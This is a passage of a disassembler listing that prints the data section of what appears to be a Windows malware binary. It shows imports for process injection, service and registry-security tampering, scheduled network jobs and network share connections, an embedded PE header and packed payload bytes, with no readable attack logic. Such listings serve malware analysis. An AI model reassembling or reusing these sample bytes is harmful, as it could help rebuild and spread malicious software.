sub_9A8A37w ... ; LPVOID lpAddress lpAddress dd 0 ; DATA XREF: sub_9A9D72+3r ; sub_9A9D72+19r ... dword_9BA150 dd 7FFA0000h ; DATA XREF: sub_9A9DD2+3r sub_9AA49Fo dword_9BA154 dd 0 ; DATA XREF: sub_9A9E5D+3r ; sub_9A9E5D+19r ... dword_9BA158 dd 0 ; DATA XREF: sub_9A9F18+3r ; sub_9A9F18+19r ... dword_9BA15C dd 0 ; DATA XREF: sub_9A9FAE+3r ; sub_9A9FAE+19r ... dword_9BA160 dd 0 ; DATA XREF: .text:loc_9AA04Fr ; .text:009AA065r ... dword_9BA164 dd 0 ; DATA XREF: sub_9AA29B:loc_9AA2C3r ; sub_9AA53A:loc_9AA54Fo dword_9BA168 dd 0 ; DATA XREF: sub_9AA29B+9r ; sub_9AA53A+Dw align 10h ; char Buffer[] Buffer db 100h dup(0) ; DATA XREF: sub_9AA85A+1CEo ; sub_9AB2C3+16o dword_9BA270 dd 0 ; DATA XREF: sub_9AC5BB+1Ar ; sub_9AC789+1Dr ... ; volatile LONG Addend Addend dd 0 ; DATA XREF: sub_9AC5BB+Fo ; sub_9AC5BB:loc_9AC6E9o ... ; volatile LONG dword_9BA278 dword_9BA278 dd 0 ; DATA XREF: sub_9AC911+13r ; sub_9ACABE+D9r ... dword_9BA27C dd 0 ; DATA XREF: sub_9AC911+1Br ; sub_9ACABE+1D1w ... ; volatile LONG dword_9BA280 dword_9BA280 dd 0 ; DATA XREF: sub_9AC789+110o ; sub_9AC911+D7o ... ; volatile LONG Target Target dd 0 ; DATA XREF: sub_9AC6FE+3Co ; sub_9AC911+E2r ; volatile LONG dword_9BA288 dword_9BA288 dd 0 ; DATA XREF: sub_9ADCF2+3Co ; sub_9ADD9B+53w ... dword_9BA28C dd 3 dup(0) ; DATA XREF: sub_9A9654+Do ; sub_9AE6A2+70o ... dword_9BA298 dd 3 dup(0) ; DATA XREF: sub_9AE6A2+96o ; sub_9AEAF7+52o ... ; volatile LONG dword_9BA2A4 dword_9BA2A4 dd 0 ; DATA XREF: sub_9AC911:loc_9AC933r ; sub_9ACABE+17Cr ... dword_9BA2A8 dd 0 ; DATA XREF: sub_9AEA12+63r ; sub_9AEA12+70w ; size_t dword_9BA2AC dword_9BA2AC dd 0 ; DATA XREF: sub_9AEEBC+77r ; sub_9AEFDD+8Ew ; void *dword_9BA2B0 dword_9BA2B0 dd 0 ; DATA XREF: sub_9AEEBC:loc_9AEF29r ; sub_9AEFDD+7Ew dword_9BA2B4 dd 0 ; DATA XREF: sub_9AEF58:loc_9AEFBEr ; sub_9AEFDD+Er ... ; void *Base Base dd 0 ; DATA XREF: sub_9AEEBC+17r ; sub_9AEFDD+B7w ; size_t NumOfElements NumOfElements dd 0 ; DATA XREF: sub_9AEEBC+20r ; sub_9AEFDD+C7w ; void *dword_9BA2C0 dword_9BA2C0 dd 0 ; DATA XREF: sub_9AEEBC:loc_9AEEFEr ; sub_9AEFDD+97w ; size_t dword_9BA2C4 dword_9BA2C4 dd 0 ; DATA XREF: sub_9AEEBC+4Cr ; sub_9AEFDD+A7w dword_9BA2C8 dd 0 ; DATA XREF: sub_9B3D11+4r ; sub_9B3D23+19w ... dword_9BA2CC dd 0 ; DATA XREF: sub_9B3D11+Cr ; sub_9B3D23+Cr ... dword_9BA2D0 dd 0 ; DATA XREF: sub_9B3D23+1Ew ; sub_9B3DC6+23r ... dword_9BA2D4 dd 0 ; DATA XREF: sub_9B3D23+31w ; sub_9B3D6A+Fr ... dword_9BA2D8 dd 0 ; DATA XREF: sub_9B3D23+36w ; sub_9B3D6A+19r ... dword_9BA2DC dd 0 ; DATA XREF: sub_9B3D23+3Bw ; sub_9B3D6A+23r ... dword_9BA2E0 dd 1 ; DATA XREF: _CRT_INIT(x,x,x)+8r ; _CRT_INIT(x,x,x)+10w ... dword_9BA2E4 dd 0 ; DATA XREF: sub_9B6363+E0r ; sub_9B6665+8Aw ; RPC_BINDING_HANDLE Binding Binding dd 0 ; DATA XREF: .text:pStubDescriptoro ; sub_9A97A7+2Fo ... dword_9BA2EC dd 0 ; DATA XREF: _CRT_INIT(x,x,x)+21w dword_9BA2F0 dd 34710h ; DATA XREF: _CRT_INIT(x,x,x)+54w ; _CRT_INIT(x,x,x)+75r ; void *Memory Memory dd 34710h ; DATA XREF: _CRT_INIT(x,x,x)+37w ; _CRT_INIT(x,x,x)+45r ... dword_9BA2F8 dd 0 ; DATA XREF: start:loc_9B71F2r ; start+82r dd 0B41h dup(0) dd 1C8h, 0A4h, 6C745201h, 69776E55h, 100646Eh, 74696157h dd 4D726F46h, 69746C75h, 4F656C70h, 63656A62h, 1007374h dd 74737953h, 69546D65h, 6F54656Dh, 656C6946h, 656D6954h dd 72460100h, 694C6565h, 72617262h, 47010079h, 65567465h dd 6F697372h, 4178456Eh, 65470100h, 73795374h, 446D6574h dd 63657269h, 79726F74h, 43010041h, 65736F6Ch, 646E6148h dd 100656Ch, 626F6C47h, 72466C61h, 1006565h, 626F6C47h dd 6C416C61h, 636F6Ch, 74654701h, 7473614Ch, 6F727245h dd 47010072h, 75437465h, 6E657272h, 6F725074h, 73736563h dd 69570100h, 68436564h, 6F547261h, 746C754Dh, 74794269h dd 47010065h, 65567465h, 6F697372h, 4D01006Eh, 4665766Fh dd 45656C69h, 1004178h, 65766F4Dh, 656C6946h, 47010041h dd 65547465h, 6150706Dh, 416874h, 656C5301h, 1007065h dd 656C6544h, 69466574h, 41656Ch, 636F4C01h, 6C69466Bh dd 47010065h, 69467465h, 6953656Ch, 100657Ah, 61657243h dd 69466574h, 41656Ch, 74655301h, 6F727245h, 646F4D72h dd 43010065h, 74616572h, 72685465h, 646165h, 69784501h dd 6F725074h, 73736563h, 704F0100h, 754D6E65h, 41786574h dd 65470100h, 6D6F4374h, 646E616Dh, 656E694Ch, 43010041h dd 74616572h, 74754D65h, 417865h, 74654701h, 706D6F43h dd 72657475h, 656D614Eh, 47010041h, 6F4D7465h, 656C7564h dd 656C6946h, 656D614Eh, 47010041h, 75437465h, 6E657272h dd 6F725074h, 73736563h, 1006449h, 61736944h, 54656C62h dd 61657268h, 62694C64h, 79726172h, 6C6C6143h, 44010073h dd 63697665h, 436F4965h, 72746E6Fh, 1006C6Fh, 74697257h dd 6C694665h, 47010065h, 65547465h, 6946706Dh, 614E656Ch dd 41656Dh, 6C654401h, 46657465h, 57656C69h, 65470100h dd 636F4C74h, 69546C61h, 100656Dh, 61657243h, 69466574h dd 57656Ch, 6E694601h, 6F6C4364h, 1006573h, 646E6946h dd 73726946h, 6C694674h, 1005765h, 746C754Dh, 74794269h dd 576F5465h, 43656469h, 726168h, 74654701h, 706D6F43h dd 72657475h, 656D614Eh, 54010057h, 696D7265h, 6574616Eh dd 65726854h, 1006461h, 43746547h, 65727275h, 6854746Eh dd 64616572h, 1006449h, 74696157h, 53726F46h, 6C676E69h dd 6A624F65h, 746365h, 74655301h, 7473614Ch, 6F727245h dd 4D010072h, 6C75646Fh, 4E323365h, 747865h, 646F4D01h dd 33656C75h, 72694632h, 1007473h, 61657243h, 6F546574h dd 65686C6Fh, 3233706Ch, 70616E53h, 746F6873h, 65530100h dd 72685474h, 50646165h, 726F6972h, 797469h, 72695601h dd 6C617574h, 746F7250h, 746365h, 74654701h, 65726854h dd 72506461h, 69726F69h, 1007974h, 43746547h, 65727275h dd 6854746Eh, 64616572h, 69560100h, 61757472h, 6572466Ch dd 56010065h, 75747269h, 6C416C61h, 636F6Ch, 74654701h dd 636F7250h, 72646441h, 737365h, 616F4C01h, 62694C64h dd 79726172h, 47010041h, 6F4D7465h, 656C7564h, 646E6148h dd 41656Ch, 65724301h, 44657461h, 63657269h, 79726F74h dd 46010041h, 46646E69h, 74737269h, 656C6946h, 47010041h dd 6F567465h, 656D756Ch, 6F666E49h, 74616D72h, 416E6F69h dd 65470100h, 69724474h, 79546576h, 416570h, 74654701h dd 69676F4Ch, 446C6163h, 65766972h, 47010073h, 69547465h dd 6F436B63h, 746E75h, 65755101h, 65507972h, 726F6672h dd 636E616Dh, 756F4365h, 7265746Eh, 65530100h, 6C694674h dd 6D695465h, 47010065h, 69467465h, 6954656Ch, 100656Dh dd 70616548h, 6F6C6C41h, 47010063h, 72507465h, 7365636Fh dd 61654873h, 48010070h, 46706165h, 656572h, 61655201h dd 6C694664h, 50010065h, 65636F72h, 32337373h, 7478654Eh dd 72500100h, 7365636Fh, 46323373h, 74737269h, 68540100h dd 64616572h, 654E3233h, 1007478h, 6E65704Fh, 65726854h dd 1006461h, 65726854h, 32336461h, 73726946h, 43010074h dd 74616572h, 6D655265h, 5465746Fh, 61657268h, 57010064h dd 65746972h, 636F7250h, 4D737365h, 726F6D65h, 56010079h dd 75747269h, 6C416C61h, 45636F6Ch, 4F010078h, 506E6570h dd 65636F72h, 1007373h, 64616552h, 636F7250h, 4D737365h dd 726F6D65h, 53010079h, 69467465h, 7441656Ch, 62697274h dd 73657475h, 47010041h, 69467465h, 7441656Ch, 62697274h dd 73657475h, 47010041h, 75437465h, 6E657272h, 72694474h dd 6F746365h, 417972h, 65724301h, 50657461h, 65636F72h dd 417373h, 746E4901h, 6F6C7265h, 64656B63h, 72636544h dd 6E656D65h, 49010074h, 7265746Eh, 6B636F6Ch, 6E496465h dd 6D657263h, 746E65h, 746E4901h, 6F6C7265h, 64656B63h dd 68637845h, 65676E61h, 72430100h, 65746165h, 6E657645h dd 1004174h, 45746553h, 746E6576h, 704F0100h, 76456E65h dd 41746E65h, 65470100h, 73795374h, 546D6574h, 656D69h dd 1D500h, 0 db 0 db 1, 52h, 65h aGopenkeyexw db 'gOpenKeyExW',0 db 1 aRegsetkeysecur db 'RegSetKeySecurity',0 db 1 aOpenscmanagerw db 'OpenSCManagerW',0 db 1 aEnumservicesst db 'EnumServicesStatusW',0 db 1 aOpenservicew_0 db 'OpenServiceW',0 dw 5101h aUeryservicecon db 'ueryServiceConfigW',0 db 1 aQueryservice_1 db 'QueryServiceConfig2W',0 db 1, 49h, 6Dh aPersonatelogge db 'personateLoggedOnUser',0 dw 4901h aNitializesecur db 'nitializeSecurityDescriptor',0 dd 74654701h, 676E654Ch, 69536874h, 49010064h, 6974696Eh dd 7A696C61h, 6C634165h, 64410100h, 63634164h, 41737365h dd 776F6C6Ch, 63416465h, 53010065h, 65537465h, 69727563h dd 65447974h, 69726373h, 726F7470h, 6C636144h, 65530100h dd 6C694674h, 63655365h, 74697275h, 1004179h, 51676552h dd 79726575h, 756C6156h, 41784565h, 65520100h, 65704F67h dd 79654B6Eh, 417845h, 67655201h, 56746553h, 65756C61h dd 417845h, 67655201h, 736F6C43h, 79654B65h, 6F4C0100h dd 70756B6Fh, 76697250h, 67656C69h, 6C615665h, 416575h dd 6A644101h, 54747375h, 6E656B6Fh, 76697250h, 67656C69h dd 1007365h, 6E616843h, 65536567h, 63697672h, 6E6F4365h dd 41676966h, 65520100h, 74726576h, 65536F54h, 100666Ch dd 61657243h, 65536574h, 63697672h, 1004165h, 72617453h dd 72655374h, 65636976h, 4F010041h, 536E6570h, 6E614D43h dd 72656761h, 4F010041h, 536E6570h, 69767265h, 416563h dd 6F6C4301h, 65536573h, 63697672h, 6E614865h, 656C64h dd 6E6F4301h, 6C6F7274h, 76726553h, 656369h, 6C654401h dd 53657465h, 69767265h, 1006563h, 6E65704Fh, 636F7250h dd 54737365h, 6E656B6Fh, 65470100h, 6B6F5474h, 6E496E65h dd 6D726F66h, 6F697461h, 4101006Eh, 636F6C6Ch, 41657461h dd 6E49646Eh, 61697469h, 657A696Ch, 646953h, 75714501h dd 69536C61h, 46010064h, 53656572h, 1006469h, 45676552h dd 4B6D756Eh, 78457965h, 52010057h, 65536765h, 6C615674h dd 78456575h, 52010057h, 75516765h, 56797265h, 65756C61h dd 577845h, 67655201h, 73756C46h, 79654B68h, 65520100h dd 65724367h, 4B657461h, 78457965h, 52010057h, 72436765h dd 65746165h, 4579654Bh, 4178h, 1E2h, 214h, 654E5701h dd 64644174h, 6E6E6F43h, 69746365h, 57326E6Fh, 4E570100h dd 64417465h, 6E6F4364h, 7463656Eh, 326E6F69h, 57010041h dd 4374654Eh, 65636E61h, 6E6F436Ch, 7463656Eh, 326E6F69h dd 57010041h, 4374654Eh, 65636E61h, 6E6F436Ch, 7463656Eh dd 326E6F69h, 0EA000057h, 28000001h, 1000002h, 7274735Fh dd 706D6369h, 695F0100h, 7474696Eh, 6D7265h, 64615F01h dd 7473756Ah, 6964665Fh, 63010076h, 6F6C6C61h, 73010063h dd 6E616373h, 6D010066h, 6F6D6D65h, 1006576h, 61657362h dd 686372h, 73626101h, 69730100h, 6C01006Eh, 100676Fh dd 74727473h, 1006B6Fh, 696F7461h, 775F0100h, 75647363h dd 70010070h, 746E6972h, 73010066h, 70637274h, 73010079h dd 68637274h, 73010072h, 6D637274h, 73010070h, 61637274h dd 77010074h, 74737363h, 6D010072h, 70636D65h, 5F010079h dd 6C727473h, 1007277h, 73727473h, 1007274h, 7274735Fh dd 707564h, 73637701h, 7970636Eh, 63770100h, 6E656C73h dd 616D0100h, 636F6C6Ch, 72660100h, 1006565h, 6C616572h dd 636F6Ch, 73637701h, 746163h, 73637701h, 797063h, 73637701h dd 706D63h, 6D656D01h, 746573h, 6E735F01h, 69727077h, 66746Eh dd 6D656D01h, 706D63h, 72747301h, 7461636Eh, 72730100h dd 646E61h, 6E617201h, 5F010064h, 72706E73h, 66746E69h dd 74730100h, 70636E72h, 73010079h, 63727274h, 1007268h dd 7274735Fh, 6D63696Eh, 73010070h, 656C7274h, 5F01006Eh dd 696D656Dh, 706D63h, 1F500h, 2D800h, 654E0100h, 69704174h dd 66667542h, 72467265h, 1006565h, 5374654Eh, 64656863h dd 4A656C75h, 6544626Fh, 4E01006Ch, 63537465h, 75646568h dd 6F4A656Ch, 756E4562h, 4E01006Dh, 63537465h, 75646568h dd 6F4A656Ch, 64644162h, 654E0100h, 65735574h, 756E4572h dd 4E01006Dh, 65537465h, 72657672h, 6D756E45h, 654E0100h dd 736B5774h, 65476174h, 666E4974h, 200006Fh, 0C000002h dd 1000004h, 6E496F43h, 61697469h, 657A696Ch, 75636553h dd 79746972h, 6F430100h, 61657243h, 6E496574h, 6E617473h dd 1006563h, 6E556F43h, 74696E69h, 696C6169h, 100657Ah dd 6E496F43h, 61697469h, 657A696Ch, 7845h, 20Ch, 2F8h dd 0FF0009FFh, 6FF0008h, 7FF00h, 2FFh, 219h, 310h, 63705201h dd 646E6942h, 46676E69h, 536D6F72h, 6E697274h, 6E694267h dd 676E6964h, 52010041h, 74536370h, 676E6972h, 646E6942h dd 43676E69h, 6F706D6Fh, 416573h, 72644E01h, 65696C43h dd 6143746Eh, 326C6Ch, 63705201h, 646E6942h, 46676E69h dd 656572h, 22400h, 32400h, 44FF00h, 47485301h, 70537465h dd 61696365h, 6C6F466Ch, 50726564h, 41687461h, 2300000h dd 3300000h, 53010000h, 6C654448h, 4B657465h, 417965h dd 44485301h, 74656C65h, 6C615665h, 416575h, 72745301h dd 49727453h, 53010057h, 74537274h, 414972h, 23C00h, 42000h dd 624F0100h, 6E696174h, 72657355h, 6E656741h, 72745374h dd 676E69h, 24700h, 34400h, 65470100h, 73614C74h, 706E4974h dd 6E497475h, 1006F66h, 74736F50h, 7373654Dh, 41656761h dd 65470100h, 676C4474h, 6D657449h, 6E450100h, 68546D75h dd 64616572h, 646E6957h, 73776Fh, 66654401h, 646E6957h dd 7250776Fh, 41636Fh, 73694401h, 63746170h, 73654D68h dd 65676173h, 52010041h, 73696765h, 43726574h, 7373616Ch dd 43010041h, 74616572h, 6E695765h, 45776F64h, 1004178h dd 4D746547h, 61737365h, 416567h, 61725401h, 616C736Eh dd 654D6574h, 67617373h, 4C010065h, 5364616Fh, 6E697274h dd 4167h, 252h, 374h, 72655601h, 72657551h, 6C615679h dd 416575h, 74654701h, 656C6946h, 73726556h, 496E6F69h dd 536F666Eh, 41657A69h, 65470100h, 6C694674h, 72655665h dd 6E6F6973h, 6F666E49h, 5E000041h, 84000002h, 1000003h dd 65746E49h, 74656E72h, 6E65704Fh, 416C7255h, 74480100h dd 75517074h, 49797265h, 416F666Eh, 6E490100h, 6E726574h dd 65477465h, 6E6F4374h, 7463656Eh, 74536465h, 657461h dd 746E4901h, 656E7265h, 61655274h, 6C694664h, 49010065h dd 7265746Eh, 4F74656Eh, 416E6570h, 6E490100h, 6E726574h dd 6C437465h, 4865736Fh, 6C646E61h, 6A000065h, 0A0000002h dd 0FF000003h, 1FF000Dh, 14FF00h, 0FF0015FFh, 2FF0073h dd 6FF00h, 0FF0016FFh, 8FF0034h, 0EFF00h, 0FF0004FFh, 39FF006Fh dd 0CFF00h, 0FF000BFFh, 3FF0009h, 13FF00h, 0FF0012FFh dd 0AFF0097h, 10FF00h, 0FF0070FFh, 57010017h, 6F494153h dd 6C7463h, 0 dd 16ACF000h, 4F0041Ch, 0CF00409h, 414040Fh, 40C040Ch dd 40C0484h, 42C045Ch, 40C045Ch, 2 dup(40C040Ch), 0C10040Ch dd 0F0040C04h, 8404019Ch, 124F004h, 0C044C04h, 19CF004h dd 0C040C04h, 2D4F004h, 154F004h, 0F004CC04h, 4041DD8h dd 4AC1404h, 42C040Ch, 8CF0040Ch, 4040402h, 22046CF0h dd 36213B06h, 1318161Ah, 1B0F072Dh, 10692715h, 5D0A181Fh dd 80D060Bh, 0F3D120Dh, 60F2D14h, 10250E29h, 92C095Ah dd 192D0A06h, 20150B0Dh, 0F090B13h, 0B272B49h, 0E151B17h dd 36061A21h, 0C0C1D0Ah, 0C0C0C05h, 0C050705h, 573A190Bh dd 2006070Ah, 0F060C1Eh, 18080B12h, 6090605h, 16062B05h dd 151C0A10h, 151A0B06h, 16070828h, 6070A2Dh, 0A0E0C24h dd 45F0A923h, 0D061C01h, 0A16234Bh, 0E220A0Fh, 280F061Eh dd 260D0626h, 2219501Eh, 15122115h, 1C57240Dh, 81063906h dd 350E340Ch, 6253A1Dh, 9110819h, 91E0719h, 0C291612h dd 91D0E2Eh, 1B120D07h, 1F192020h, 7F306461h, 9114B58h dd 2B0A215Dh, 96C0F16h, 0C0A066Fh, 151E1A0Dh, 140E0708h dd 0A0A1006h, 1F52080Ah, 8069430h, 2507110Ah, 0F201035h dd 31360608h, 0F0E082Eh, 7111907h, 8361127h, 6093008h dd 8012FF0h, 35093306h, 3B472237h, 13082B19h, 2157071Eh dd 0B730C17h, 396C450Ah, 135A0C25h, 48243D65h, 248C0710h dd 362E1A19h, 0F1D160Eh, 0C911A1Eh, 71D2E19h, 5130909h dd 13062B05h, 909071Dh, 62B142Eh, 818122Fh, 93C0817h, 312D1019h dd 7A288373h, 362F6B1Ch, 91B2F31h, 0E152A0Fh, 3D4F2E0Eh dd 30131115h, 1115331Fh, 15332A13h, 32331311h, 13121015h dd 989B1D80h, 140D1E3Bh, 451EAA0Ah, 170F0D1Ch, 50B0627h dd 50E0505h, 5120505h, 50B0505h, 5050D05h, 2805050Dh, 5080706h dd 15110505h, 0D15120Dh, 3F1B1210h, 14070716h, 5E123865h dd 42141A30h, 8050A3Bh, 12240E1Eh, 270C8E13h, 0C071825h dd 3F130710h, 0D151D3Bh, 421D4707h, 1D2E100Bh, 0D2B3006h dd 214C0E80h, 34250F30h, 0D341E0Dh, 255D0625h, 452F300Fh dd 12215708h, 2A070A10h, 24090625h, 110B0B15h, 310E240Ah dd 5361517h, 1707112Ah, 280E1421h, 14140906h, 0E0A0B0Eh dd 2CCE1F2Eh, 8152A60h, 1B0E140Ch, 1114061Ah, 26072A14h dd 301C0E16h, 6070638h, 142D0731h, 22070D07h, 1F190B12h dd 171E2909h, 10285B17h, 5D111613h, 93D2329h, 34440B1Dh dd 35212543h, 151D1938h, 265D1309h, 6111E2Bh, 201B0805h dd 5150516h, 6091B52h, 19110A27h, 7060585h, 2494371Ch dd 9050614h, 0E1A5D08h, 480E1924h, 184D0826h, 0F1C0F09h dd 0E360F10h, 0D701821h, 8141A19h, 0E06340Bh, 71D3520h dd 5111728h, 2E0C1209h, 0D881733h, 1A380606h, 18600A0Ah dd 2B061223h, 0E080620h, 100B100Ah, 1A060610h, 1A073B4Eh dd 19060B23h, 7080635h, 80070822h, 0C0C1409h, 1D0C0606h dd 7060814h, 1A050610h, 723320Ah, 4B160D0Bh, 11101409h dd 0A0B54A3h, 7080E1Bh, 99160908h, 0D06060Bh, 14090509h dd 908110Ch, 807080Eh, 9981209h, 40071C06h, 1C090509h dd 2D060607h, 130E0A0Eh, 710060Ah, 35051021h, 150D1F1Dh dd 2A262061h, 0B261311h, 61F0909h, 11093F17h, 0E0C1113h dd 1A0E2E0Fh, 28461631h, 6716370Eh, 0D1C0912h, 0B0A1718h dd 0A121419h, 1311131Dh, 0C1E1A1Ah, 9181B08h, 12190E1Ah dd 491A3C09h, 0A08060Ah, 0A1F0F38h, 0E1E0C0Eh, 29072D0Ch dd 4F053B10h, 530D1957h, 23063C0Ah, 116E062Dh, 223B0905h dd 50F062Fh, 1D2F0666h, 0C0B1205h, 1509061Bh, 0A071111h dd 180E1407h, 2F5B1629h, 28085A13h, 4113081Ah, 22045AF0h dd 3C0E3C39h, 707940Ch, 0E1B150Dh, 12181212h, 11321312h dd 2C3F1209h, 260E1305h, 130D07A6h, 0E0E0E17h, 1D091C0Eh dd 9F060C14h, 2F06062Ah, 3A09090Bh, 0D211206h, 0C140E13h dd 110D0C45h, 0D112816h, 17112432h, 0C0C0708h, 6190607h dd 807080Ch, 14120B0Dh, 0C1C0F1Eh, 1D051317h, 6381A05h dd 33292207h, 90A0788h, 19090919h, 431E0909h, 21100908h dd 3C1E140Eh, 11100910h, 0F0B01D0Fh, 0B2F00174h, 350F008h dd 0D9F04B0Eh, 0D2F0DD01h, 4C1F4909h, 154F07Ah, 64796E16h dd 0F0345910h, 0D84B0145h, 14232052h, 0A7F03D7Ah, 57F03104h dd 5D6F009h, 0F0024BF0h, 32F004D0h, 5D4F001h, 0Dh dup(4040404h) dd 0F0E30404h, 0F01A0172h, 523A023Fh, 71307CEh, 5130505h dd 90A1C05h, 90A1E2Bh, 7142B2Bh, 24071421h, 0C200809h dd 1320361Eh, 1E0A0C1Fh, 32882008h, 3C07154Dh, 6AF04747h dd 5A214903h, 19196C11h, 135A1919h, 9361724h, 1207072Fh dd 91B0AAAh, 2C1E727Fh, 331E6860h, 108B0B80h, 7A41922h dd 120E1630h, 102F00Dh, 53B2229h, 19124D0Ch, 573F1F0Ch dd 0A57237Dh, 11287B2Ch, 92B2211h, 5E071A29h, 19151728h dd 71B6407h, 7070A0Ah, 14070707h, 1A220A0Ah, 13461907h dd 230C0A09h, 4F19071Ah, 0C250F11h, 26272A22h, 27272723h dd 5815071Ah, 0C0A0913h, 2C2B0C23h, 0F0130719h, 0F0550869h dd 0F0D10219h, 0C550018Bh, 1302EFF0h, 410365F0h, 0F0091A69h dd 60600F9h, 6060606h, 390606E0h, 0D0B0608h, 5050E08h dd 0A0D0B05h, 22060C15h, 61D5C12h, 6 dup(6060606h), 5060606h dd 41CF7F0h, 3Dh dup(4040404h), 8040404h, 0Fh dup(4040404h) dd 0F0040404h, 40405C0h, 5 dup(4040404h), 0F0040404h, 4040210h dd 5 dup(4040404h), 0C040404h, 18040404h, 455000h, 3014C00h dd 0AF48F100h, 3Eh, 0 dd 0E00E000h, 7010B21h, 1780000h, 280000h, 0 dd 171CC00h, 100000h, 1900000h, 0 dd 100010h, 20000h, 400h, 5A000400h, 400h, 0 dd 1D00000h, 40000h, 0 dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0 dd 1000h, 2 dup(0) dd 1736400h, 14000h, 6 dup(0) dd 1B00000h, 0F9800h, 0Ch dup(0) dd 100000h, 42800h, 6 dup(0) dd 65742E00h, 7478h, 177FA00h, 100000h, 1780000h, 40000h dd 3 dup(0) dd 2000h, 61642E60h, 6174h, 12FC00h, 1900000h, 100000h dd 17C0000h, 3 dup(0) dd 4000h, 65722EC0h, 636F6Ch, 130A00h, 1B00000h, 140000h dd 18C0000h, 3 dup(0) dd 4000h, 1C00042h, 178CC00h, 1CE0900h, 0D5C10000h, 8C000001h dd 54607080h, 0D35E2248h, 14243434h, 0FFFFED69h, 0A7E7BD41h dd 0CA45F52Dh, 44E64912h, 4C72D61Eh, 723CBA1Bh, 0F6FFEAF0h dd 75EBFFFFh, 44E85EF3h, 0E95687CDh, 3406E621h, 93497633h dd 36A4EC42h, 4DADA619h, 0FFFF5912h, 967FFFFFh, 25418501h dd 7E83E2CBh, 0B385DF72h, 0FB59E1DDh, 2D9A7897h, 0E93DB6B2h dd 39455258h, 0FFFF901Bh, 9FC8FFFFh, 422B5CD7h, 0D86AA6DEh dd 4CF2D003h, 2E2472AFh, 4DF38C9Dh, 0F24D2F2Fh, 2989D649h dd 0FFFFC9A2h, 0FFC6FFFFh, 0B6985FF2h, 92AD0968h, 10D57010h dd 0B6DA1CEAh, 0CC03D4BCh, 578E9E8Dh, 0BCFCCF8Ch, 1450C35Bh dd 319EFE17h, 8A08DA5Bh, 0D2BF2693h, 0BFFFFFFBh, 873383D6h dd 0F6C269AFh, 3499155Fh, 880FCB14h, 0E92944CCh, 7E9E4593h dd 228712F9h, 7FFF837Fh, 0BB43338Eh, 605B400Ch, 3140864Ch dd 0B6659917h, 0E58AC26Ch, 0FFF030A4h, 0F3D9FFFFh, 0EBBB6AD6h dd 0EC02DADFh, 237E386Dh, 8A6811EEh, 93A87D62h, 0DCC69E93h dd 0BFFF17Bh, 6670BFFFh, 3DC83972h, 20C356E5h, 259AA8D9h dd 0D4993B3Fh, 0D7D1617Eh, 0FFFF5074h, 6AE3FFFFh, 315A49EBh dd 29DE213Dh, 0FC30CD4Ah, 98D7FDD1h, 0A64B6073h, 0F95D0853h dd 21E605EEh, 0FFFFED97h, 0B7D9F0BFh, 0B18FBCD6h, 26BD6B76h dd 1C2C8A60h, 2D58E6B6h, 9404D47h, 9DB1835Bh, 0FFFF46FFh dd 0A28E983Ch, 7A5D9E2Dh, 0C80DF107h, 0B047261Bh, 76087045h dd 0CF9CC24Ch, 0FFFFFFFFh, 1E0EF33Ah, 15A800C6h, 7E9247CBh dd 4207F91Dh, 0DC4992AAh, 0D6ED7104h, 0ADE6DCE7h, 1825BD3Ch dd 0FFFFFFFFh, 0FAECFA32h, 0CCFBA5B7h, 0BA5249A1h, 0D3A76030h dd 0E595A3B0h, 0BD61DAF2h, 0C097D227h, 373366D8h, 0FFFFFFFFh dd 36D21304h, 24CB3F9Dh, 692E6B79h, 0AD0BE122h, 8A485BC1h dd 8700D5E1h, 0F5064437h, 4B744CAEh, 0FFFFFFFFh, 57A30F20h dd 57D40863h, 0E33AF0EBh, 0DFC4031Ah, 7F2D179Ah, 71441FFDh dd 0BAB749DAh, 0DDB5263Fh, 0FFF4BFFFh, 18CAFE9Ch, 99ECDB70h dd 30968463h, 73334C17h, 0C3B2BC4Dh, 68832C79h, 0DD3441CDh dd 455CFE86h, 0BEE77DEDh, 3C396FA8h, 0A6243003h, 7367BA69h dd 14031C39h, 734D0C10h, 4089A69h, 0F8FC3800h, 0D34D34F4h dd 0E8ECF034h, 34D3E0E4h, 0D8DCD34Dh, 74C0C8D0h, 0B84DF8C7h dd 854856B0h, 3A717756h, 20E003E4h, 0D8D34444h, 0BFB1E7D4h dd 0A83B4E95h, 29290046h, 46094545h, 8A177508h, 10F60078h dd 0D5450D05h, 1FBF6EB6h, 2024020h, 66660006h, 0FC06040Fh dd 0DD683A4h, 42B0707h, 19930520h, 41901001h, 428AA374h dd 424BF60h, 0AE882014h, 15C822A2h, 8DA8B91h, 2B9B3BA4h dd 55D06E80h, 570AAD6Eh, 0FE88297Ah, 46746961h, 134D726Fh dd 0A26C7069h, 2B2A8C16h, 0C6280B17h, 0A454642Ah, 71441CF6h dd 90F6F54h, 2AE40515h, 405553A2h, 0CF549B7h, 0AB9E6547h dd 25BF8280h, 0B9B70A0Eh, 694434CFh, 79534372h, 7A22AF14h dd 1B48FD0Ah, 722A8F7Bh, 0B430721h, 0D1157B1h, 21173A4Bh dd 614CCA28h, 4D010D32h, 5A1EA080h, 44566EFBh, 656469A5h dd 8B756843h, 0C76B036Ah, 667942A8h, 0BDEC0B7Fh, 65B92AA5h dd 410C89A6h, 949676D0h, 28709154h, 0B033ADDAh, 6513530Dh dd 688A0670h, 21970BD8h, 0B9EC5FDCh, 82B0ADCh, 0C7A6953h dd 8A01D87Bh, 655323ABh, 0D928209Bh, 1A645836h, 13B6CB41h dd 6971010Ah, 0CD6BDEA7h, 1CA18D00h, 10B7C685h, 31D58229h dd 6822456Eh, 1E37B361h, 9FB05CD6h, 6D614EA3h, 75DF60ABh dd 2CC25775h, 72490B13h, 562CC244h, 8E81BD15h, 0C2DC282h dd 806C4C43h, 0B1C51026h, 686F496Fh, 1B661258h, 0C6697239h dd 84DA5D0Bh, 5708084Bh, 2DD16284h, 0E946D09Bh, 0B461AFFh dd 2AC1166Dh, 75030AC9h, 8490A174h, 9A8F1A60h, 94B9BBA4h dd 7826DB0Dh, 67396D72h, 364202CBh, 184911D8h, 8B1976C6h dd 89672853h, 0D90909F0h, 3320531Bh, 10934E32h, 7443B65Bh dd 6F98900Dh, 6DB6DBECh, 70D868F7h, 70705316h, 446F6873h dd 0D9851A18h, 112E4566h, 75BB4358h, 743356BDh, 7456ED75h dd 5B236467h, 0A32247D9h, 648CB034h, 0C30CC28Fh, 0E282931Eh dd 93579AA2h, 9B124206h, 2C240BDBh, 2B0D1929h, 0ED85415Ah dd 0CA56332Ch, 0CD403F75h, 16560496h, 138A2266h, 330E869Ah dd 57688838h, 0E88A15B8h, 0C9731B36h, 0ED436B0Fh, 7B1E8223h dd 3503901h, 631AC5A1h, 161B6E42h, 